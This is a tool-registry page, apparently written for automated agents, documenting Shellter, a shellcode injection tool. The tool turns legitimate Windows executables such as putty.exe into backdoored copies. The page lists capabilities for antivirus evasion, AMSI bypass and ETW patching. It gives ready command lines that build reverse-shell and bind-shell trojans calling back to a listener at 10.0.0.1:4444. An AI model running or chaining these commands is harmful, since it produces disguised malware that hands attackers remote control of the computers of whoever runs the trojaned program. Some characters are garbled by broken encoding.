security enabled verified high v1.0.0

shellter

Dynamic shellcode injection tool for creating backdoored portable executables while maintaining original functionality.

📋 Live Preview
shellter --pe {target-exe}
๐ŸŒ target-exe โ†’ /path/to/putty.exe
shellter --pe {target-exe}

Sandbox: execFile · Timeout: 300s

Capabilities

shellcode.injection
pe.backdooring
av.evasion
payload.embedding

Parameters

Name Type Required Default Description Aliases
flag-pe string No - Target PE file path --pe
flag-shellcode string No - Custom shellcode file --shellcode
reverse-ip string No - Reverse shell IP --reverse-ip
reverse-port integer No - Reverse shell port --reverse-port
bind-port integer No - Bind shell port --bind-port
flag-o string No - Output file path -o, --output
flag-m string No - Mode (auto/manual) -m, --mode
flag-no-amsi boolean No - Disable AMSI bypass --no-amsi
flag-quiet boolean No - Quiet output mode --quiet
flag-v boolean No - Verbose output -v, --verbose
bind_ip boolean No - Bind shell bind IP --bind-ip
h boolean No - Show this help message -h, --help
no_etc boolean No - Disable ETW patching --no-etc

Contract

Inputs

file.pe

Target Windows PE file to backdoor

shellcode.binary

Shellcode to inject (or auto-generate)

network.lhost

Listener IP for reverse shell

network.lport

Listener port for reverse shell

Outputs

file.pe.backdoored

Backdoored PE file

Side effects: filesystem_write

Workflow Edges

Produces

file.pe.backdoored

Consumes

file.peshellcode.binarynetwork.lhostnetwork.lport

Resource Profile

ResourceValue
CPUmedium
Memory256 MB
Networklow
Disk I/Omedium

Examples

Auto-backdoor a PE with reverse shell

shellter --pe putty.exe --reverse-ip 10.0.0.1 --reverse-port 4444 -m auto

Manual mode for custom injection

shellter --pe putty.exe -m manual

Inject custom shellcode

shellter --pe putty.exe --shellcode shellcode.bin

Backdoor with bind shell

shellter --pe putty.exe --bind-port 4444 -m auto

Quiet mode with custom output

shellter --pe putty.exe --reverse-ip 10.0.0.1 --reverse-port 4444 -o backdoor.exe --quiet

Backdoor with AMSI disabled

shellter --pe putty.exe --reverse-ip 10.0.0.1 --reverse-port 4444 --no-amsi

Documentation

Shellter โ€” Dynamic Shellcode Injection

Shellter is a dynamic shellcode injection tool that creates backdoored versions of legitimate Windows Portable Executable (PE) files while preserving their original functionality. It works by injecting shellcode into the target PE at runtime, enabling AV evasion.

Key Features

  • PE backdooring: Inject shellcode into legitimate executables
  • Auto mode: Fully automated shellcode injection
  • Manual mode: Fine-grained control over injection process
  • AV evasion: Bypass common anti-virus signatures
  • Original functionality: Backdoored executables work as normal
  • Multiple payloads: Reverse shell, bind shell, meterpreter, custom shellcode

Dependencies

wine

Related Tools

veilmetasploitmsfvenom

References